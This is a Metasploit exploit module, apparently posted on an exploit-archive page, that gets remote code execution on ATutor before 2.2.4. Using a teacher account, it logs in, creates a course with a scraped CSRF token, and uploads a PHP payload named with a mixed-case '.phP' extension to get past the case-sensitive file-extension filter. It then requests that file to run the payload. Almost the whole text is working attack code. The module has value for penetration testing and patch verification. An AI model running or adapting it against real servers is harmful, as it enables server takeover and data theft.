ATutor file_manager Remote Code Execution

2019.04.14
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "ATutor < 2.2.4 'file_manager' Remote Code Execution", 'Description' => %q{ This module allows the user to run commands on the server with teacher user privilege. The 'Upload files' section in the 'File Manager' field contains arbitrary file upload vulnerability. The "$IllegalExtensions" function has control weakness and shortcomings. It is possible to see illegal extensions within "constants.inc.php". (exe|asp|php|php3|php5|cgi|bat...) However, there is no case-sensitive control. Therefore, it is possible to bypass control with filenames such as ".phP", ".Php" It can also be used in dangerous extensions such as "shtml" and "phtml". The directory path for the "content" folder is located at "config.inc.php". For the exploit to work, the "define ('AT_CONTENT_DIR', 'address')" content folder must be located in the web home directory or the address must be known. This exploit creates a course with the teacher user and loads the malicious php file into server. }, 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & MSF Module ], 'References' => [ [ 'CVE', '' ], [ 'URL', 'http://pentest.com.tr/exploits/ATutor-2-2-4-file-manager-Remote-Code-Execution-Injection-Metasploit.html' ], [ 'URL', 'https://atutor.github.io/' ], [ 'URL', 'http://www.atutor.ca/' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => '09 April 2019', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), OptString.new('USERNAME', [true, 'The Teacher Username to authenticate as']), OptString.new('PASSWORD', [true, 'The Teacher password to authenticate with']), OptString.new('CONTENT_DIR', [true, 'The content folder location', 'content']) ],self.class) end def exec_payload send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}", @course_id, "#{@fn}") }) end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end ## # Version and Vulnerability Check ## def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}/") }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end if res.code == 404 return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end ## # csrftoken read and create a new course ## def create_course(cookie, check) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php"), 'headers' => { 'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php", 'cookie' => cookie, }, 'agent' => 'Mozilla' }) if res && res.code == 200 && res.body =~ /Create Course: My Start Pag/ @token = res.body.split('csrftoken" value="')[1].split('"')[0] else return false end @course_name = Rex::Text.rand_text_alpha_lower(5) post_data = Rex::MIME::Message.new post_data.add_part(@token, nil, nil,'form-data; name="csrftoken"') post_data.add_part('true', nil, nil, 'form-data; name="form_course"') post_data.add_part(@course_name, nil, nil, 'form-data; name="title"') post_data.add_part('top', nil, nil, 'form-data; name="content_packaging"') post_data.add_part('protected', nil, nil, 'form-data; name="access"') post_data.add_part('Save', nil, nil, 'form-data; name="submit"') data = post_data.to_s res = send_request_cgi({ 'method' => 'POST', 'data' => data, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php") }) location = res.redirection.to_s if res && res.code == 302 && location.include?('bounce.php?course') @course_id = location.split('course=')[1].split("&p")[0] return true else return false end end ## # Upload malicious file // payload integration ## def upload_shell(cookie, check) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "bounce.php?course=" + @course_id), 'headers' => { 'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php", 'cookie' => cookie, }, 'agent' => 'Mozilla' }) ucookie = "ATutorID=#{$2};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*);/ file_name = Rex::Text.rand_text_alpha_lower(8) + ".phP" @fn = "#{file_name}" post_data = Rex::MIME::Message.new post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"') post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"uploadedfile\"; filename=\"#{file_name}\"") post_data.add_part('Upload', nil, nil, 'form-data; name="submit"') post_data.add_part('', nil, nil, 'form-data; name="pathext"') data = post_data.to_s res = send_request_cgi({ 'method' => 'POST', 'data' => data, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => ucookie, 'uri' => normalize_uri(target_uri.path, "mods", "_core", "file_manager", "upload.php") }) if res && res.code == 302 && res.redirection.to_s.include?('index.php?pathext') print_status("Trying to upload #{file_name}") return true else print_status("Error occurred during uploading!") return false end end ## # Password encryption with csrftoken ## def get_hashed_password(token, password, check) if check return Rex::Text.sha1(password + token) else return Rex::Text.sha1(Rex::Text.sha1(password) + token) end end ## # User login operations ## def login(username, password, check) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "login.php"), 'agent' => 'Mozilla', }) token = $1 if res.body =~ /\) \+ \"(.*)\"\);/ cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/ if check password = get_hashed_password(token, password, true) else password = get_hashed_password(token, password, false) end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "login.php"), 'vars_post' => { 'form_password_hidden' => password, 'form_login' => username, 'submit' => 'Login' }, 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/ if res && res.code == 302 if res.redirection.to_s.include?('bounce.php?course=0') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, res.redirection), 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ if res && res.code == 302 && res.redirection.to_s.include?('users/index.php') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, res.redirection), 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ return cookie end else res.redirection.to_s.include?('admin/index.php') fail_with(Failure::NoAccess, 'The account is the administrator. Please use a teacher account!') return cookie end end fail_with(Failure::NoAccess, "Authentication failed with username #{username}") return nil end ## # Exploit controls and information ## def exploit tcookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) print_good("Logged in as #{datastore['USERNAME']}") if create_course(tcookie, true) print_status("CSRF Token : " + @token) print_status("Course Name : " + @course_name + " Course ID : " + @course_id) print_good("New course successfully created.") end if upload_shell(tcookie, true) print_good("Upload successfully.") print_status("Trying to exec payload...") exec_payload end end end ## # The end of the adventure (o_O) // AkkuS ##


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